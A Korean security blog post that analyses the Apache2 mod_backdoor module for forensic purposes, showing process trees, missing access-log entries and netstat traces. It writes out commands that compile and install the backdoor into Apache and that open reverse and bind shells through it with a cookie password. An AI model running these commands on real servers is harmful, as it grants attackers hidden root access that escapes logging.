공부/Forensic

아파치 모듈 백도어 기능 및 아티팩트 분석: Apache Mod_Backdoor operation method and Artifact analysis

2023. 4. 11. 17:44
목차
  1. 🗣️ Introduction
  2. 👊 How to work Apache2 mod_backdoor
  3. 2.1 ℹ️ Test environment
  4. 2.2 🥇 Install Apache2 mod_backdoor
  5. 2.3 ✅ Let's analyze Apache2 mod_backdoor
728x90
반응형

🗣️ Introduction

웹 서버는 인터넷의 핵심 구성 요소 중 하나로, 웹 페이지를 호스팅하고 사용자에게 웹 콘텐츠를 전달하는데 사용됩니다. 인터넷 상에서 가장 널리 사용되는 웹 서버 소프트웨어 중 하나는 Apache HTTP 서버입니다.    그러나 웹 서버의 보안은 항상 중요한 관심사였으며, 악의적인 공격자들은 여러 방법으로 시스템을 침해하려고 시도합니다. 본 게시물은 Apache HTTP 서버의 백도어 중 하나인 Apache2 mod_backdoor에 대해 소개하고 이에 대한 로그를 분석하고자 합니다.

**Apache2 mod_backdoor**는 Apache2 모듈을 사용하는 은밀한 백도어로서, 공격자에게 무단으로 웹 서버에 액세스할 수 있는 기회를 제공합니다. 이 백도어는 시스템의 보안에 심각한 위협을 가하며, 공격자가 시스템과 상호 작용할 수 있게 합니다. 이는 웹 서버의 구성 정보를 탈취하거나 추가적인 악성 코드를 실행할 수 있는 불법적인 경로를 제공합니다.

Apache2 mod_backdoor의 주요 기능으로는 Bind TTY 셸, 역방향 셸 (TTY, Native, PHP, Perl, Python, Ruby), 각 셸이 PID 1에 연결된 독립적인 루트 프로세스를 새로 생성하는 것, Socks5 프록시, 쿠키 헤더를 통한 비밀번호 보호 등이 있습니다. 또한, 이 백도어 모듈에 대한 요청은 Apache2에 의해 로깅되지 않아 공격자의 행동을 추적하기 어렵게 만듭니다.

따라서, Apache2 mod_backdoor의 작동 원리와 기능에 대해 설명하고, 사고 분석 및 대응을 위한 방법을 확인하고자 합니다.

👊 How to work Apache2 mod_backdoor

Apache2 mod_backdoor는 Apache HTTP 서버에서 동작하는 악의적인 모듈로서, 공격자에게 웹 서버에 대한 무단 액세스를 허용하는 백도어 기능을 제공합니다. 이러한 백도어는 시스템의 보안에 심각한 위협을 가하며, 공격자가 시스템과 상호 작용할 수 있게 합니다. 다음은 Apache2 mod_backdoor의 동작 과정에 대한 설명입니다.

  1. 모듈 설치:
    공격자가 웹 서버에 mod_backdoor 모듈을 설치합니다. 이 모듈은 Apache HTTP 서버의 기능을 확장하기 위해 사용되는 다른 모듈과 함께 설치됩니다.
  2. 백도어 프로세스 생성:
    Apache2 서버가 구성을 로드한 직후, mod_backdoor는 기본 Apache2 프로세스를 fork() 합니다. 이 프로세스는 루트 사용자가 www-data로 프로세스를 전달하기 전에 fork되기 때문에, 공격자는 루트 사용자 권한으로 명령을 실행할 수 있습니다.
  3. 비밀번호 전송:
    공격자는 Cookie 헤더를 통해 비밀번호를 전송하여 백도어와 상호 작용할 수 있습니다
  4. 셸 및 프록시 활성화:
    백도어가 설치되고 비밀번호 인증이 완료되면, 공격자는 다양한 종류의 셸에 액세스할 수 있습니다. 이러한 셸에는 Bind TTY 셸, 역방향 셸 (TTY, Native, PHP, Perl, Python, Ruby) 등이 포함됩니다. 또한 공격자는 Socks5 프록시를 통해 시스템 내부에서 인터넷 트래픽을 전송할 수 있습니다.
  5. 로깅 우회:
    mod_backdoor는 백도어 모듈에 대한 요청을 Apache2에 의해 로깅되지 않도록 하여, 공격자의 행동 추적을 어렵게 만듭니다. 이를 통해 공격자는 웹 서버에서의 활동을 은밀하게 유지할 수 있습니다.
  6. 지속적인 액세스 유지:
    mod_backdoor는 항상 실행 중인 백그라운드 프로세스로 동작하여 공격자가 시스템에 지속적으로 액세스할 수 있게 합니다. 이 백도어 프로세스는 웹 서버를 중지하거나 재시작할 때까지 계속 실행되며, 공격자에게 웹 서버에 대한 지속적인 루트 권한을 제공합니다.
  7. 추가적인 공격 수행:
    공격자는 mod_backdoor를 통해 시스템에 루트 권한으로 액세스한 후, 추가적인 악성 코드를 실행하거나 시스템의 민감한 데이터를 탈취할 수 있습니다. 이러한 공격은 웹 서버의 기능을 손상시킬 수 있으며, 기업 또는 개인의 정보 보안에 심각한 영향을 미칠 수 있습니다.

2.1 ℹ️ Test environment

2.1.1 🕴️Victim

  • OS : Ubuntu 18.04.6 LTS
    • Kernel : Linux ubuntu 5.4.0-144-generic #161~18.04.1-Ubuntu SMP
  • Apache : 2.4.29

2.1.2 👾Attacker

  • OS : Windows 11 Pro Build 22621
  • Tool :
    • Curl : 7.84.0 (i686-pc-cygwin) libcurl/7.84.0 OpenSSL/1.1.1q zlib/1.2.12 libssh2/1.10.0

2.2 🥇 Install Apache2 mod_backdoor

먼저, 테스트에 사용될 mod_backdoor는 아래 URL에서 확인할 수 있습니다.

https://github.com/VladRico/apache2_BackdoorMod

이후, 대상 서버에 Apache2 및 Apache2-dev가 설치되어 있어야합니다.

sudo apt-get install apache2 apache2-dev

 

그 다음, 깃헙에서 코드를 다운받아 컴파일 및 Apache2를 재실행한다

wget <https://github.com/VladRico/apache2_BackdoorMod/archive/refs/heads/master.zip>
unzip master.zip
cd master.zip
sudo apxs -i -a -c mod_backdoor.c sblist.c sblist_delete.c server.c -Wl,-lutil
sudo systemctl restart apache2

 

2.3 ✅ Let's analyze Apache2 mod_backdoor

2.3.1 🥇 Before activation

먼저, 동작전 서버의 Apache 프로세스 목록입니다.

-------------------------------------(중간 생략)----------------------------------------
root      11049      1  0 16:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  11050  11049  0 16:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  11051  11049  0 16:39 ?        00:00:00 /usr/sbin/apache2 -k start
-------------------------------------(중간 생략)---------------------------------------

그림 1. 백도어 활성화 전 Apache 프로세스 목록

mod_backdoor는 활성화 여부를 확인하기 위해 /ping 명령어를 통해 확인할 수 있습니다.

활성화 이전에는 mod_backdoor가 동작중이지 않아, 웹 로그에서 아래와 같은 404로그를 확인할 수 있습니다.

192.168.199.1 - - [24/Mar/2023:17:25:53 +0900] "GET /ping HTTP/1.1" 404 437 "-" "curl/7.84.0"

2.3.2 🥈 After activation

Apache를 재실행하여 mod_backdoor를 활성화할 경우, apache 프로세스가 fork되며, 독립적인 apache 프로세스가 하나 생성됩니다. 이 프로세스는 루트 사용자가 www-data로 프로세스를 전달하기 전에 fork되기 때문에, 공격자는 루트 사용자 권한으로 명령을 실행할 수 있습니다.

-------------------------------------(중간 생략)----------------------------------------
**root      33458      1  0 17:33 ?        00:00:00 /usr/sbin/apache2 -k start**
root      33459      1  0 17:33 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  33461  33459  0 17:33 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  33462  33459  0 17:33 ?        00:00:00 /usr/sbin/apache2 -k start
-------------------------------------(중간 생략)----------------------------------------

그림 2. 백도어 활성화 후 Apache 프로세스 목록

또한, Ping 명령을 통해 mod_backdoor의 상태를 확인해볼 수 있습니다.

curl --http0.9 -H 'Cookie: password=backdoor' <http://192.168.199.27/ping>

해당 명령을 통해 아래와 같은 결과를 확인할 수 있습니다.

그림 3. mod_backdoor Ping 명령 결과

백도어 활성화 이후 전송된 명령어는 별도 생성된 Apache 프로세스에 의해 관리되므로, 수행 행위에 대한 로그가 기록되지 않습니다. 아래는 “/var/log/apache2/acces.log”의 일부입니다.

192.168.199.1 - - [24/Mar/2023:00:14:01 -0700] "GET / HTTP/1.1" 200 3477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Whale/3.19.166.16 Safari/537.36"
192.168.199.1 - - [24/Mar/2023:00:14:01 -0700] "GET /icons/ubuntu-logo.png HTTP/1.1" 200 3623 "<http://192.168.199.26/>" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Whale/3.19.166.16 Safari/537.36"
192.168.199.1 - - [24/Mar/2023:00:14:01 -0700] "GET /favicon.ico HTTP/1.1" 404 492 "<http://192.168.199.26/>" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Whale/3.19.166.16 Safari/537.36"
192.168.199.1 - - [24/Mar/2023:00:14:53 -0700] "-" 408 0 "-" "-"
192.168.199.1 - - [24/Mar/2023:17:25:53 +0900] "GET /ping HTTP/1.1" 404 437 "-" "curl/7.84.0"
192.168.199.1 - - [24/Mar/2023:17:37:05 +0900] "GET /ping HTTP/1.1" 404 437 "-" "curl/7.84.0"

그림 3. access.log

위 [그림 3]처럼 활성화 이후 Ping명령이 전송된 “2023-03-24 17:37:06”에 대한 웹 로그는 확인할 수 없었으며, 공격자는 은밀하게 공격을 수행할 수 있습니다.

2.3.3 🥈 Reverse Shell

mod_backdoor는 아래 코드를 이용하여 Reverse Shell을 생성할 수 있습니다.

# Attacker
nc -kl  [Port]
or
nc -lvp [Port]

curl -H 'Cookie: password=backdoor' http://[Server_IP]/reverse/[Attacker_IP]/[Port]/bash

위 명령를 통해 공격자는 nc를 활용해 특정 포트를 열어둔 뒤, mod_backdoor에 Reverse Connetion을 수행하는 명령어를 입력하여 아래 그림과 같이 Reverse Shell을 활성화합니다.

그림 4. Reverse Shell 연결 결과

연결에 성공한 경우, 새로운 apache 프로세스가 생성되며, “kintegrityd”으로 위장된 bash 셸이 생성되게 됩니다.

그림 5. Reverse Shell 연결 직후 프로세스 목록 일부

최종적으로 공격자는 임의의 행위를 수행할 수 있으며, 분기되어 생성된 apache 및 bash 셸로 인해, Reverse Shell을 연결하기 위한 웹 접근 이력 및 **그림 4**에서 입력된 “pwd”, “id” 명령어는 웹 로그 및 ,bash_history, audit, messages 로그 등 syslog에서 확인할 수 없었습니다.

다만, 연결이 진행중인 상태에서는 **그림 5**와 같이 공격자의 IP 및 포트를 확인할 수 있습니다.

그림 5. netstat -antp 명령 결과

2.3.4 🥈 Bind Shell

Bind Shell의 경우, Vicitim쪽에서 Attacker쪽으로 붙는 방식이며 기본 동작 과정은 Reverse Shell과 동일합니다. 아래는 Bind Shell 활성화 및 연결 명령어입니다.

#Attacker
curl -H 'Cookie: password=backdoor' http://[Server_IP]/bind/[Port]

nc [Server_IP] [Port]

Bind Shell의 경우, Vicitim에서 연결을 기다리는 상태로 활성화 이후 연결이 되기전까지 apache 프로세스가 특정 포트를 오픈하고 대기하는 상태가됩니다. 아래는 **netstat -antp** 명령어 결과입니다.

그림 6과 같이 주로 사용되는 **80, 443** 포트를 제외하고 추가적으로 1337 포트가 LISTEN 상태인 것을 확인할 수 있습니다.

그림 6. netstat -antp 명령 결과

또한, 새로운 apache 프로세스가 생성되어 하위에 sh 이 생성된 것을 확인할 수 있습니다.

그림 7. pstree 및 ps 명령어 확인 결과

  • 아래 **그림 8**과 **그림 9**를 확인해보면 Bind Shell을 통해 명령어가 입력된 시간에 **.bash_histroy**에 기록된 내용이 없는 것을 확인할 수 있습니다.
  • Reverse Shell과 동일하게 가상의 Shell을 사용함으로써 .bash_histroy 등 사용자 입력 명령을 남기지 않아 추적이 불가능합니다.

그림 8. Bind Shell을 통한 명령어 입력
그림 9. cmd_history 기록

다만, Bind Shell 연결 중 shell을 변경할 경우, 아래 그림 10처럼 입력 명령어가 정상적으로 기록되게 됩니다.

그림 9. Bind Shell을 통한 Shell 변경
그림 10. cmd_history 기록_shell 변경 이후

728x90
반응형
저작자표시 비영리 (새창열림)

'공부 > Forensic' 카테고리의 다른 글

Artifacts to check file execution history on Windows system - UserAssist: Windows 시스템에서 파일 실행 이력을 확인하는 아티팩트 - UserAssist  (0) 2023.04.19
AnyDesk를 통한 침해사고 로그 분석  (0) 2023.04.18
MS-SQL 대상 공격 방식 중 하나인 CLR Assembly(Shell) 공격 : MS-SQL Attacks via the CLR as an alternative to xp_cmdshell  (0) 2023.04.11
디지털 포렌식의 일반원칙(디지털 포렌식 5원칙)  (0) 2021.02.19
Digital Forensic / Incident Response  (0) 2021.01.21
  1. 🗣️ Introduction
  2. 👊 How to work Apache2 mod_backdoor
  3. 2.1 ℹ️ Test environment
  4. 2.2 🥇 Install Apache2 mod_backdoor
  5. 2.3 ✅ Let's analyze Apache2 mod_backdoor
'공부/Forensic' 카테고리의 다른 글
  • Artifacts to check file execution history on Windows system - UserAssist: Windows 시스템에서 파일 실행 이력을 확인하는 아티팩트 - UserAssist
  • AnyDesk를 통한 침해사고 로그 분석
  • MS-SQL 대상 공격 방식 중 하나인 CLR Assembly(Shell) 공격 : MS-SQL Attacks via the CLR as an alternative to xp_cmdshell
  • 디지털 포렌식의 일반원칙(디지털 포렌식 5원칙)
a2sembly
a2sembly
정보보안 블로그!
250x250
반응형
a2sembly
CALL DWORD PTR DS:[a2sembly]
a2sembly
전체
오늘
어제
  • 전체글 (62)
    • MITRE ATT&CK (3)
    • 공부 (47)
      • Reverse Engineering (6)
      • Forensic (9)
      • Network (1)
      • Write-up (17)
      • Programming (5)
      • ETC (6)
      • 정보보안기사 (3)
    • 기타 (4)
    • 스크랩 (7)
    • Threat Intelligence (1)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • 정보보안기사
  • 랜섬웨어
  • digital forensic
  • 침해사고
  • python
  • 오블완
  • 해킹
  • 정보보안
  • Dreamhack
  • dreamhack.io
  • Pwnable
  • 보안
  • CTF
  • rev-basic
  • ATT&CK
  • hacking
  • webhacking
  • lfi
  • 디지털 포렌식
  • 사고분석
  • MITRE
  • WEB
  • 리버싱
  • 포렌식
  • 리버스 엔지니어링
  • 드림핵
  • 정보기
  • 분석
  • 웹해킹
  • 티스토리챌린지

최근 댓글

최근 글

hELLO · Designed By 정상우.
a2sembly
아파치 모듈 백도어 기능 및 아티팩트 분석: Apache Mod_Backdoor operation method and Artifact analysis
상단으로

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.